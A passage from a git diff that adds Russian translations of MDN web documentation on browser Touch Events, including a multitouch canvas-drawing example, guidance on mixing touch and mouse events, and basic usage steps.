+ <li>{{domxref("Touch_events","Touch Events Overview")}}</li>
+ <li>{{ domxref("Document.createTouch()") }}</li>
+</ul>
+
+<dl>
+</dl>
diff --git a/files/ru/web/api/touch_events/index.html b/files/ru/web/api/touch_events/index.html
new file mode 100644
index 0000000000..be6d85889a
--- /dev/null
+++ b/files/ru/web/api/touch_events/index.html
@@ -0,0 +1,337 @@
+---
+title: События касаний (тач-события)
+slug: Web/API/Touch_events
+translation_of: Web/API/Touch_events
+---
+<div>{{DefaultAPISidebar("Touch Events")}}</div>
+
+<p>Чтобы предоставить качественную поддержку пользовательского интерфейса, связанного с касаниями, тач-события предлагают возможность интерпретировать действия пальца (или стилуса) на сенсорных экранах или трекпадах.</p>
+
+<p>Интерфейсы событий касания - это относительно низкоуровневые API, которые можно использовать для поддержки приложений со специфическими мультитач-взаимодействиями, например жестом двумя пальцами. Мультитач взаимодействие запускается, когда палец (или стилус) впервые касается контакной поверхности. Другие пальцы могут следом коснуться поверхности и, если нужно, перемещаться по ней. Взаимодействие считается завершённым, когда пальцы с поверхности убираются. Во время взаимодействия, события касания срабатывают на начальном этапе (первое прикосновение), этапе перемещения по поверхности, и завершающем этапе (когда пальцы убираются с поверхности)..</p>
+
+<p>События касаний подобны событиям мыши за исключением того, что они поддерживают несколько одновременных касаний в разных местах сенсорной поверхности. Интерфейс {{domxref("TouchEvent")}} содержит все активные в данный момент точки прикосновения. Интерфейс {{domxref("Touch")}}, который представляет одну точку касания, включает такую информацию, как позиция точки касания относительно области видимости браузера.</p>
+
+<h2 id="Определения">Определения</h2>
+
+<dl>
+ <dt>Поверхность (Surface)</dt>
+ <dd>Чувствительная к касаниям поверхность. Это может быть экран или трекпад.</dd>
+</dl>
+
+<dl>
+ <dt>Точка касания (Touch point)</dt>
+ <dd>Точка контакта с поверхностью. Это может быть палец (или локоть, ухо, нос, что угодно, но обычно это палец) или стилус. </dd>
+</dl>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<dl>
+ <dt>{{domxref("TouchEvent")}}</dt>
+ <dd>Представляет событие, происходящее при изменении состояния касания поверхности.</dd>
+ <dt>{{domxref("Touch")}}</dt>
+ <dd>Представляет одну точку контакта пользователя с сенсорной поверхностью.</dd>
+ <dt>{{domxref("TouchList")}}</dt>
+ <dd>Представляет группу касаний; это используется, если пользователь, например, касается поверхности несколькими пальцами одновременно.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В этом примере отслеживаются несколько касаний одновременно, позволяя пользователю рисовать в {{HTMLElement("canvas")}} несколькими пальцами одновременно. Это будет работать лишь в браузере, который поддерживает touch-события.</p>
+
+<div class="note"><strong>Примечание:</strong> В тексте ниже для описания контакта с поверхностью используется понятие "палец", но это также может быть стилус или другой способ контакта.</div>
+
+<h3 id="Создание_canvas">Создание canvas</h3>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="600" height="600" style="border:solid black 1px;"&gt;
+  Ваш браузер не поддерживает элемент canvas.
+&lt;/canvas&gt;
+&lt;br&gt;
+Log: &lt;pre id="log" style="border: 1px solid #ccc;"&gt;&lt;/pre&gt;</pre>
+
+<h3 id="Добавление_обработчиков_событий">Добавление обработчиков событий</h3>
+
+<p>После загрузки страницы будет вызвана функция <code>startup()</code>, показанная ниже</p>
+
+<pre class="brush: js notranslate">function startup() {
+  var el = document.getElementById("canvas");
+  el.addEventListener("touchstart", handleStart, false);
+  el.addEventListener("touchend", handleEnd, false);
+  el.addEventListener("touchcancel", handleCancel, false);
+  el.addEventListener("touchmove", handleMove, false);
+}</pre>
+
+<p>document.addEventListener("DOMContentLoaded", startup);</p>
+
+<p>Данная функция просто добавляет обработчики событий для элемента {{HTMLElement("canvas")}}, чтобы мы могли обрабатывать события касания по мере их возникновения</p>
+
+<h4 id="Отслеживание_новых_касаний">Отслеживание новых касаний</h4>
+
+<p>Рассмотрим касания в действии.</p>
+
+<pre class="brush: js notranslate">var ongoingTouches = [];
+</pre>
+
+<p>Когда возникает событие {{event("touchstart")}}, свидетельствующее о новом касании к поверхности, вызывается приведённая ниже функция <code>handleStart()</code>.</p>
+
+<pre class="brush: js notranslate">function handleStart(evt) {
+  evt.preventDefault();
+  console.log("touchstart.");
+  var el = document.getElementById("canvas");
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i &lt; touches.length; i++) {
+    console.log("touchstart:" + i + "...");
+    ongoingTouches.push(copyTouch(touches[i]));
+    var color = colorForTouch(touches[i]);
+    ctx.beginPath();
+    ctx.arc(touches[i].pageX, touches[i].pageY, 4, 0, 2 * Math.PI, false);  // a circle at the start
+    ctx.fillStyle = color;
+    ctx.fill();
+    console.log("touchstart:" + i + ".");
+  }
+}
+</pre>
+
+<p>Она вызывает {{domxref("event.preventDefault()")}} для того, чтобы предотвратить обработку браузером события касания (это также предотвращает обработку события мыши). Затем мы получаем контекст и извлекаем список измененных точек касаний из свойства {{domxref("TouchEvent.changedTouches")}} данного события.</p>
+
+<p>После этого мы перебираем все объекты {{domxref("Touch")}} в списке, помещая их в массив активных точек касания и рисуя начальную точку в виде маленького кружка; мы используем линию толщиной 4 пикселя, поэтому получим аккуратный круг радиусом 4 пикселя.</p>
+
+<h4 id="Рисование_движением">Рисование движением</h4>
+
+<p>Каждый раз, когда двигается один или несколько пальцев, срабатывает событие {{event("touchmove")}}, в результаете чего вызывается наша функция <code>handleMove()</code>.В этом примере данная функция ответственна за обновление данных о касании и рисование линии от предыдущей до текущей точки касания.</p>
+
+<pre class="brush: js notranslate">function handleMove(evt) {
+  evt.preventDefault();
+  var el = document.getElementById("canvas");
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i &lt; touches.length; i++) {
+    var color = colorForTouch(touches[i]);
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+
+    if (idx &gt;= 0) {
+      console.log("continuing touch "+idx);
+      ctx.beginPath();
+      console.log("ctx.moveTo(" + ongoingTouches[idx].pageX + ", " + ongoingTouches[idx].pageY + ");");
+      ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
+      console.log("ctx.lineTo(" + touches[i].pageX + ", " + touches[i].pageY + ");");
+      ctx.lineTo(touches[i].pageX, touches[i].pageY);
+      ctx.lineWidth = 4;
+      ctx.strokeStyle = color;
+      ctx.stroke();
+
+      ongoingTouches.splice(idx, 1, copyTouch(touches[i]));  // swap in the new touch record
+      console.log(".");
+    } else {
+      console.log("can't figure out which touch to continue");
+    }
+  }
+}
+</pre>
+
+<p>Функция также перебирает измененные касания, ищет в нашем массиве данных о касаниях предыдущие данные о каждом касании для определения начальной точки каждого отрезка линии, который должен быть нарисован с помощью касания. Это реализовано путем отслеживания свойства {{domxref("Touch.identifier")}} каждого касания. Это свойство является уникальным числом для каждого касания, и остается неизменным на протяжении всего времени контакта пальца с экраном.</p>
+
+<p>Это позволяет нам получать координаты предыдущей позиции каждого касания и использовать подходящий метод "canvas-контекста" для рисования отрезка линии, соединяющего начало и конец.</p>
+
+<p>После рисования линии, мы вызываем <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/splice"><code>Array.splice()</code></a>, чтобы в массиве <code>ongoingTouches</code> заменить предыдущие данные о точке касания на текущие.</p>
+
+<h4 id="Обработка_завершения_касания">Обработка завершения касания</h4>
+
+<p>Когда пользователь убирает палец с сенсорной поверхности, срабатывает событие {{domxref("Element/touchend_event", "touchend")}}. Мы обрататываем его, вызывая фунцию <code>handleEnd()</code>, которая представлена ниже. Ее задача - рисовать последний отрезок линии для каждого касания, которое завершилось, и удалять точку касания из текущего списка касаний.</p>
+
+<pre class="brush: js notranslate">function handleEnd(evt) {
+  evt.preventDefault();
+  log("touchend");
+  var el = document.getElementById("canvas");
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i &lt; touches.length; i++) {
+    var color = colorForTouch(touches[i]);
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+
+    if (idx &gt;= 0) {
+      ctx.lineWidth = 4;
+      ctx.fillStyle = color;
+      ctx.beginPath();
+      ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
+      ctx.lineTo(touches[i].pageX, touches[i].pageY);
+      ctx.fillRect(touches[i].pageX - 4, touches[i].pageY - 4, 8, 8);  // and a square at the end
+      ongoingTouches.splice(idx, 1);  // remove it; we're done
+    } else {
+      console.log("can't figure out which touch to end");
+    }
+  }
+}
+</pre>
+
+<p>Она очень похожа на предыдущюю функцию; единственное отличие заключается в том, что,что теперь мы рисуем маленький квадрат, чтобы обозначить конец, и в том, что когда мы мы вызываем  <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/splice">Array.splice()</a></code>, мы просто удаляем старую запись из текущего списка касаний без добавления обновленной информации. В результате мы прекращаем отслеживать эту точку касания.</p>
+
+<h4 id="Обработка_отмененных_касаний">Обработка отмененных касаний</h4>
+
+<p>Если палец пользователя перемещается в интерфейс браузера или прикосновение должно быть отменено, отправляется событие {{domxref("Element/touchcancel_event", "touchcancel")}}, и мы вызываем функцию <code>handleCancel()</code>, приведённую ниже.</p>
+
+<pre class="brush: js notranslate">function handleCancel(evt) {
+  evt.preventDefault();
+  console.log("touchcancel.");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i &lt; touches.length; i++) {
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+    ongoingTouches.splice(idx, 1);  // remove it; we're done
+  }
+}
+</pre>
+
+<p>Поскольку идея состоит в том, чтобы немедленно прервать касание, мы просто удаляем его из текущего списка касаний без рисования завершающего отрезка линии.</p>
+
+<h3 id="Удобные_функции">Удобные функции</h3>
+
+<p>Этот пример использует две удобные функции, которые следует кратко рассмотреть, чтобы сделать остальную часть кода более понятной.</p>
+
+<h4 id="Выбор_цвета_для_каждого_касания">Выбор цвета для каждого касания</h4>
+
+<p>Чтобы рисунок каждого касания выглядел по-разному, используется функция <code>colorForTouch()</code>, в которой цвета выбираются на основе уникального идентификатора касаний. Этот идентификатор является скрытым числом, но мы, по крайней мере, можем полагаться на то, что у каждого активного на данный момент касания он уникальный.</p>
+
+<pre class="brush: js notranslate">function colorForTouch(touch) {
+  var r = touch.identifier % 16;
+  var g = Math.floor(touch.identifier / 3) % 16;
+  var b = Math.floor(touch.identifier / 7) % 16;
+  r = r.toString(16); // make it a hex digit
+  g = g.toString(16); // make it a hex digit
+  b = b.toString(16); // make it a hex digit
+  var color = "#" + r + g + b;
+  console.log("color for touch with identifier " + touch.identifier + " = " + color);
+  return color;
+}
+</pre>
+
+<p>Результатом этой функции является строка, которую можно использовать при вызове {{HTMLElement("canvas")}}-функций для задания цвета рисования. Например, для значения {{domxref("Touch.identifier")}}, равного 10, результатом будет "#a31".</p>
+
+<h4 id="Копирование_объекта_касания">Копирование объекта касания</h4>
+
+<p>Некоторые браузеры (например, мобильный Safari) повторно используют объекты касания в разных событиях, поэтому лучше копировать только важные свойства, а не ссылаться на весь объект.</p>
+
+<pre class="brush: js notranslate">function copyTouch({ identifier, pageX, pageY }) {
+  return { identifier, pageX, pageY };
+}</pre>
+
+<h4 id="Поиск_текущего_касания">Поиск текущего касания</h4>
+
+<p>Приведённая ниже функция <code>ongoingTouchIndexById()</code> сканирует весь массив <code>ongoingTouches</code>, чтобы найти касание, соответствующее данному идентификатору, после чего возвращает в массив индекс этого касания.</p>
+
+<pre class="brush: js notranslate">function ongoingTouchIndexById(idToFind) {
+  for (var i = 0; i &lt; ongoingTouches.length; i++) {
+    var id = ongoingTouches[i].identifier;
+
+    if (id == idToFind) {
+      return i;
+    }
+  }
+  return -1;    // not found
+}
+</pre>
+
+<h4 id="Отображение_происходящего">Отображение происходящего</h4>
+
+<pre class="brush: js notranslate">function log(msg) {
+  var p = document.getElementById('log');
+  p.innerHTML = msg + "\n" + p.innerHTML;
+}</pre>
+
+<p>Если ваш браузер поддерживает это, вы можете {{LiveSampleLink('Example', 'посмотреть живой пример')}}.</p>
+
+<p><a href="http://jsfiddle.net/Darbicus/z3Xdx/10/">Пример sFiddle</a></p>
+
+<h2 id="Дополнительные_советы">Дополнительные советы</h2>
+
+<p>Этот раздел даёт дополнительные советы о том, как обрабатывать события касаний в ваших веб-приложениях.</p>
+
+<h3 id="Обработка_кликов">Обработка кликов</h3>
+
+<p>Поскольку вызов <code>preventDefault()</code> для события {{event("touchstart")}} или первого события из серии событий {{domxref("Element/touchmove_event", "touchmove")}} предотвращает запуск соответствующих событий мыши, более распространена практика вызова <code>preventDefault()</code> именно для события <code>touchmove</code>, а не <code>touchstart</code>. Таким образом, события мыши всё ещё будут вызываться, а такие элементы, как ссылки, будут продолжать работать. В качестве альтернативы, в некоторых фреймворках для этой же цели события касаний дублируются событиями мыши.</p>
+
+<p>Данный пример очень упрощён и может привести к странному поведению. Он уместен исключительно как учебный пример.</p>
+
+<pre class="brush: js notranslate">function onTouch(evt) {
+  evt.preventDefault();
+  if (evt.touches.length &gt; 1 || (evt.type == "touchend" &amp;&amp; evt.touches.length &gt; 0))
+    return;
+
+  var newEvt = document.createEvent("MouseEvents");
+  var type = null;
+  var touch = null;
+
+  switch (evt.type) {
+    case "touchstart":
+      type = "mousedown";
+      touch = evt.changedTouches[0];
+      break;
+    case "touchmove":
+      type = "mousemove";
+      touch = evt.changedTouches[0];
+      break;
+    case "touchend":
+      type = "mouseup";
+      touch = evt.changedTouches[0];
+      break;
+  }
+
+  newEvt.initMouseEvent(type, true, true, evt.originalTarget.ownerDocument.defaultView, 0,
+    touch.screenX, touch.screenY, touch.clientX, touch.clientY,
+    evt.ctrlKey, evt.altKey, evt.shiftKey, evt.metaKey, 0, null);
+  evt.originalTarget.dispatchEvent(newEvt);
+}
+</pre>
+
+<h3 id="Вызов_preventDefault_только_при_втором_касании">Вызов preventDefault() только при втором касании</h3>
+
+<p>Один из способов запретить использовать на странице <code>pinchZoom</code> (зум с помощью щипка), – вызвать <code>preventDefault()</code> для второго касания, когда одно касание уже активно. Такое поведение плохо прописано в спецификации событий касаний и приводит к разному поведению в разных браузерах. Например, iOS предотвратит зум, но всё ещё будт позволять перетискивание (panning) двумя пальцами; в Android, наоборот, можно будет осуществлять перетаскивание (panning), но не зум; Opera и Firefox на данный момент предотвращают и перетаскивание (panning) и зум. На данный момент для запрета использования зума рекомендуется полагаться не на какое-то конкретное поведение, а на meta-данные для "viewport".</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events 2', '#touch-interface', 'Touch')}}</td>
+   <td>{{Spec2('Touch Events 2')}}</td>
+   <td>Добавлены свойства <code>radiusX</code>, <code>radiusY</code>, <code>rotationAngle</code>, <code>force</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events', '#touch-interface', 'Touch')}}</td>
+   <td>{{Spec2('Touch Events')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<h3 id="Touch">Touch</h3>
+
+<p>События касаний обычно доступны на устройствах с сенсорными экранами, но многие браузеры делают API событий касаний недоступными на всех компьютерах, даже имеющих сенсорный экран.</p>
+
+<p>Прочина этого заключается в том, что некоторые веб-сайты используют поддержку данного API в качестве показателя того, что браузер запущен на мобильном устройстве. Если API событий касания доступен, значит эти сайты будут предполагать работу с мобильного устройства и предоставлять соответствующее содержимое, оптимизированное для мобильных устройств. Это может существенно усложнить работу для пользователей десктопов с сенсорными экранами.</p>
+
+<p>Для поддержки и касаний и мыши на всех типах устройств, используйте вместо этого <a href="/en-US/docs/Web/API/Pointer_events">события указателя</a></p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Touch")}}</p>
+
+<h3 id="Firefox_события_касаний_и_многопроцессность_e10s">Firefox, события касаний и многопроцессность (e10s)</h3>
+
+<p>В Firefox события касания отключены, когда отключен e10s (электролиз; <a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox">многопроцессорный Firefox</a>). e10s включен по умолчанию в Firefox, но может в конечном итоге отключаться в определенных ситуациях, например, когда установлены определенные инструменты специальных возможностей или надстройки Firefox, для работы которых требуется отключение e10s. Это означает, что даже на настольном компьютере / ноутбуке с сенсорным экраном сенсорные события не будут включены.</p>
+
+<p>Вы можете проверить, отключен ли e10s, перейдя в <code>about:support</code> и посмотрев на запись «Многопроцессорная Windows» в разделе «Основы приложения». 1/1 означает, что он включен, 0/1 означает отключен.</p>
+
+<p>Если вы хотите принудительно включить e10s - чтобы явно повторно включить поддержку сенсорных событий - вам нужно перейти к <code>about:config</code> и создать новое логическое предпочтение <code>browser.tabs.remote.force-enable</code>. Установите значение <code>true</code>, перезапустите браузер, и e10s будет включен независимо от любых других настроек.</p>
diff --git a/files/ru/web/api/touch_events/supporting_both_touchevent_and_mouseevent/index.html b/files/ru/web/api/touch_events/supporting_both_touchevent_and_mouseevent/index.html
new file mode 100644
index 0000000000..51bbda0a17
--- /dev/null
+++ b/files/ru/web/api/touch_events/supporting_both_touchevent_and_mouseevent/index.html
@@ -0,0 +1,63 @@
+---
+title: Поддержка TouchEvent и MouseEvent
+slug: Web/API/Touch_events/Supporting_both_TouchEvent_and_MouseEvent
+translation_of: Web/API/Touch_events/Supporting_both_TouchEvent_and_MouseEvent
+---
+<p>{{DefaultAPISidebar("Touch Events")}}</p>
+
+<p>Интерфейс {{domxref("Touch_events","touch")}} позволяет существенно повысить удобство работы с приложением через устройства с сенсорным экраном. Несмотря на это, большинство современного содержимого веба рассчитано только на работу с помощью мыши. Следовательно, даже если браузер поддерживает управление через сенсорную поверхность, он всё равно должен имитировать действия мыши, чтобы функционал, рассчитанный только на действия мыши, продолжал корректно работать.</p>
+
+<p>В идеале, приложения, рассчитанные на управление касаниями, не нуждается в явной имитации действий мыши. Но так как браузер вынужден это делать, могут возникнуть некоторые проблемы взаимодействия, которые должны быть обработаны. Ниже приведены некоторые подробности таких проблем взаимодействия и последствия для разработчиков приложения.</p>
+
+<h2 id="Вызов_события">Вызов события</h2>
+
+<p>Спецификация событий касания определяет несколько требований к браузеру, касающихся действий мышью или касаний сенсорной поверхности (подробнее смотрите в разделе спецификации "<a href="https://w3c.github.io/touch-events/#mouse-events">Работа с событиями мыши и клика</a>"), отмечая, что браузер может вызывать как события касаний, так и события мыши в ответ на одно и то же действие пользователя.</p>
+
+<p>Если в ответ на какое-то действие пользователя браузер вызывает и событие касания и событие мыши, то перед любыми событиями мыши браузер должен вызывать {{event("touchstart")}}. Следовательно, если нужно, чтобы при прикосновении к {{domxref("Touch.target","целевому")}} элементу события мыши не запускались, в обработчике события касания данного элемента нужно вызвать {{domxref("Event.preventDefault()","preventDefault()")}}. После этого никакие дополнительные события мыши не вызовутся.</p>
+
+<p>Ниже представлен пример обработчика события {{event("touchmove")}}, вызывающий <code>preventDefault()</code></p>
+
+<pre class="brush: js notranslate">// touchmove handler
+function process_touchmove(ev) {
+  // Call preventDefault() to prevent any further handling
+  ev.preventDefault();
+}
+</pre>
+
+<h2 id="Последовательность_событий">Последовательность событий</h2>
+
+<p>Хотя фактическая последовательность событий касания и мыши зависит от используемого программного обеспечания, спецификация предписывает придерживаться следующей последовательности:</p>
+
+<ul>
+ <li><code>touchstart</code></li>
+ <li>Ноль или больше событий <code>touchmove</code>, в зависимости от того, было ли движение пальца</li>
+ <li><code>touchend</code></li>
+ <li><code>mousemove</code></li>
+ <li><code>mousedown</code></li>
+ <li><code>mouseup</code></li>
+ <li><code>click</code></li>
+</ul>
+
+<p>Если в течение взаимодействия событие {{event("touchstart")}}, {{event("touchmove")}} или {{event("touchend")}} прерывается, события мыши или клика вызываться не будут, а итоговая последовательность событий будет просто:</p>
+
+<ul>
+ <li><code>touchstart</code></li>
+ <li>Ноль или больше событий <code>touchmove</code>, в зависимости от того, было ли движение пальца</li>
+ <li><code>touchend</code></li>
+</ul>
+
+<h2 id="Сообщество">Сообщество</h2>
+
+<ul>
+ <li><a href="https://github.com/w3c/touch-events">Группа сообщества Touch Events</a></li>
+ <li><a href="https://lists.w3.org/Archives/Public/public-touchevents/">Mail list</a></li>
+ <li><a href="irc://irc.w3.org:6667/">IRC-канал W3C #touchevents </a></li>
+</ul>
+
+<h2 id="Связанные_темы_и_ресурсы">Связанные темы и ресурсы</h2>
+
+<ul>
+ <li><a href="/Web/API/Touch_events">Знакомство событиями касания</a></li>
+ <li><a href="/Web/API/Touch_events/Using_Touch_Events">Использование событий касаний</a></li>
+ <li><a href="http://www.html5rocks.com/en/mobile/touchandmouse/">Touch and Mouse (Together Again for the First Time)</a></li>
+</ul>
diff --git a/files/ru/web/api/touch_events/using_touch_events/index.html b/files/ru/web/api/touch_events/using_touch_events/index.html
new file mode 100644
index 0000000000..420a059e64
--- /dev/null
+++ b/files/ru/web/api/touch_events/using_touch_events/index.html
@@ -0,0 +1,154 @@
+---
+title: Использование событий касания
+slug: Web/API/Touch_events/Using_Touch_Events
+translation_of: Web/API/Touch_events/Using_Touch_Events
+---
+<p>{{DefaultAPISidebar("Touch Events")}}</p>
+
+<p>На сегодняшний день бо́льшая часть содержимого в вебе рассчитана на работу с использованием клавиатуры и мыши. Тем не менее, всё больше появляется устройств с сенсорным экраном (особенно мобильных) и веб-приложения могут либо напрямую обрабатывать сенсорный ввод с помощью {{domxref("Touch_events","Событий касаний")}}, либо интерпретировать события мыши. Недостатком использования событий мыши является то, что они не поддерживают одновременный ввод, тогда как события касаний поддерживают несколько одновременных прикосновений (возможно в разных местах сенсорной поверхности), повышая тем самым удобство работы с интерфейсом.</p>
+
+<p>Интерфейсы событий касания поддерживают взаимодействие с приложением с помощью одного или нескольких одновременных прикосновений, такие как жест двумя пальцами. Взаимодействие с помощью нескольких одновременных прикосновений начинается, когда палец (или стилус) впервые касается контактной поверхности. Другие пальцы могут последовательно касаться поверхности и, если нужно, перемещаться по ней. Взаимодействие заканчивается, когда пальцы убираются с поверхности. На протяжении этого взаимодействия приложение получает события касания на начальной стадии, стадии перемещения и стадии завершения. Приложение может применять собственную семантику к сенсорному вводу.</p>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<p>События касаний включают три интерфейса {{domxref("Touch")}}, {{domxref("TouchEvent")}} и {{domxref("TouchList")}}, а также следующие типы событий</p>
+
+<ul>
+ <li>{{event("touchstart")}} - вызывается в момент касания сенсорной поверхности</li>
+ <li>{{event("touchmove")}} - вызывается при перемещении по сенсорной поверхности</li>
+ <li>{{event("touchend")}} - вызывается, если убрали палец</li>
+ <li>{{event("touchcancel")}} -  вызывается в  момент прерывания события (например, создано слишком много точек касания).</li>
+</ul>
+
+<p>Интерфейс {{domxref("Touch")}} представляет собой одну точка контакта с сенсорной поверхностью. Точка контакта обычно называется точкой касания или просто касанием. Касание обычно генерируется пальцем или стилусом на сенсорной поверхности. <a href="/Web/API/Touch#Properties">Свойства</a> точки касания включают уникальный идентификатор, целевой элемент точки касания, а также координаты X и Y точки касания относительно области видимости, страницы или экрана.</p>
+
+<p>Интерфейс {{domxref("TouchList")}} представляет список точек контакта с сенсорной поверхностью, по одной точке касания на каждый контакт с поверхностью. Таким образом, если пользователь активировал сенсорную поверхность одним пальцем, список будет содержать один элемент, а если пользователь прикоснулся к поверхности требя пальцами, в списке будет три элемента.</p>
+
+<p>Интерфейс {{domxref("TouchEvent")}} представляет событие, которое отправляется, когда меняется состояние контактов с сенсорной поверхностью. Изменения состояния включают начальный контакт с сенсорной поверхностью, перемещение точки касания при сохранении контакта с поверхностью, отпускание точки касания и прерывание события касания. Атрибуты интерфейса включают состояние нескольких клавиш-модификаторов (например, клавиши <kbd>Shift</kbd>) и следующий список данных:</p>
+
+<ul>
+ <li>{{domxref("TouchEvent.touches","touches")}} - список всех точек касания, находящихся в данный момент на экране</li>
+ <li>{{domxref("TouchEvent.targetTouches","targetTouches")}} - список точек касания на целевом DOM-элементе</li>
+ <li>{{domxref("TouchEvent.changedTouches","changedTouches")}} - список точек касания, элементы которых зависят от типа связанного события:
+  <ul>
+   <li>Для события {{event ("touchstart")}} - список точек касания, которые стали активными во время события</li>
+   <li>Для события {{event ("touchmove")}} - список точек касания, которые изменились с последнего события</li>
+   <li>Для события {{event ("touchend")}} - список точек касания, которые были удалены с поверхности (то есть, набор точек касания, соответствующих пальцам, которые больше не касаются поверхности)</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Вместе эти интерфейсы определяют относительно низкоуровневый набор функций, но при этом поддерживают множество видов взаимодействия с помощью касаний, включая знакомые жесты с несколькими касаниями, такие как пролистывание несколькими пальцами, вращение, сжатие и масштабирование.</p>
+
+<h2 id="От_интерфейсов_к_жестам">От интерфейсов к жестам</h2>
+
+<p>При определении семантики жеста, приложение может учитывать различные факторы. Например, расстояние, которое прошла точка от начала до конца касания. Другим возможным фактором может быть время, например, количество времени между началом касания и завершением, или количество времени между двумя последовательными касаниями, предназначенными для создания жеста двойного нажатия. Направленность свайпа (например, слева направо, справа налево и т.д) является ещё одним фактором.</p>
+
+<p>Списки касаний, которые использует приложение, зависят от семантики его жестов. Например, если приложение поддерживает однократное касание (тап) одного элемента, будет использоваться список {{domxref("TouchEvent.targetTouches","targetTouches")}} в обработчике события {{event("touchstart")}} для обработки точки касания в свойственной приложению манере. Если приложение поддерживает свайп двумя пальцами для любых двух точек касания, оно будет использовать список {{domxref("TouchEvent.changedTouches","changedTouches")}} в обработчике {{event("touchmove")}} для того, чтобы определить, были ли перемещены эти две точки касания, а затем реализовать семантику этого жеста в свойственной приложению манере.</p>
+
+<p>Когда есть только одна активная точка касания, браузер обычно отправляет эмулированные события и мыши и клика. Мультитач-действия, включающие две и больше активных точек касания, обычно генерируют только события касания. Чтобы предотвратить отправку эмулированных событий мыши, используйте метод {{domxref("Event.preventDefault()","preventDefault()")}} в обработчиках событий касания. Дополнительную информацию о взаимодействии между себытиями мыши и событиями касаний можно найти в статье {{domxref("Touch_events.Supporting_both_TouchEvent_and_MouseEvent", "Поддержка TouchEvent и MouseEvent")}}.</p>
+
+<h2 id="Основные_шаги">Основные шаги</h2>
+
+<p>Этот раздел содержит пример базового использованиея приведённых выше интерфейсов. Более подробный пример можно найти в статье {{domxref ("Touch_events", "События касаний (тач-события)")}}.</p>
+
+<p>Назначьте обработчик событий для каждого типа события касания.</p>
+
+<pre class="brush: js notranslate">// Назначение обработчика событий касания
+someElement.addEventListener('touchstart', process_touchstart, false);
+someElement.addEventListener('touchmove', process_touchmove, false);
+someElement.addEventListener('touchcancel', process_touchcancel, false);
+someElement.addEventListener('touchend', process_touchend, false);
+</pre>
+
+<p>Обработчик события, реализующий семантику жестов приложения</p>
+
+<pre class="notranslate">// Обработчик touchstart
+function process_touchstart(ev) {
+  // Используется данные события, чтобы вызвать соответствующие обработчики жестов
+  switch (ev.touches.length) {
+    case 1: handle_one_touch(ev); break;
+    case 2: handle_two_touches(ev); break;
+    case 3: handle_three_touches(ev); break;
+    default: gesture_not_supported(ev); break;
+  }
+}
+</pre>
+
+<p>Доступ к атрибутам точки касания.</p>
+
+<pre class="brush: js notranslate">// Создание обработчика события "touchstart"
+someElement.addEventListener('touchstart', function(ev) {
+  // Перебор точек события, которые были активированы
+  // для этого элемента и обработчка каждого целевого элемента события
+  for (var i=0; i &lt; ev.targetTouches.length; i++) {
+    process_target(ev.targetTouches[i].target);
+  }
+}, false);
+</pre>
+
+<p>Предотвращение эмуляции событий мыши</p>
+
+<pre class="brush: js notranslate">// Обработчик события "touchmove"
+function process_touchmove(ev) {
+  // Вызов "preventDefault()"
+  ev.preventDefault();
+}
+</pre>
+
+<h2 id="Лучшие_практики">Лучшие практики</h2>
+
+<p>Вот несколько моментов, которых следует придерживаться при работе с событиями касаний:</p>
+
+<ul>
+ <li>Сводите к минимуму объём работы, выполняемой в обработчиках касаний</li>
+ <li>Добавляйте обработчики точек касаний к определённому целевому элементу, а не ко всему документу или узлам, расположенным выше в дереве</li>
+ <li>Добавляйте обработчики событий {{event("touchmove")}}, {{event("touchend")}} и {{event("touchcancel")}} внутрь {{event("touchstart")}}.</li>
+ <li>Целевой элемент или узел для события касания должен быть достаточно большим, для касания пальцем. Если целевая область слишком мала, прикосновений к ней может привести к вызову событий для других прилегающих элементов.</li>
+</ul>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>Согласно <a href="/Web/API/Touch_events#Browser_compatibility">данным о совместимости с браузерами</a>, поддержка событий касания среди мобильных браузеров относительно неплохая. Десктопные браузеры немного отстают, хотя над этим уже ведётся работа. </p>
+
+<p>Некоторые новые функции, связанные с областью касания (областью контакта между пользователем и сенсорной поверхностью) - находятся в процессе стандартизации. Новый функционал включает в себя радиусы эллипса по осям X и Y, которые наиболее точно описывают область контакта с сенсорной поверхностью. <em>Угол поворота</em> точки касания - градус, на который нужно повернуть упомянутый эллипс, чтобы соотвествовать области контакта - также стандартизирован, как и степень давления в точке касания.</p>
+
+<h2 id="А_что_насчёт_Событий_Указателя">А что насчёт Событий Указателя?</h2>
+
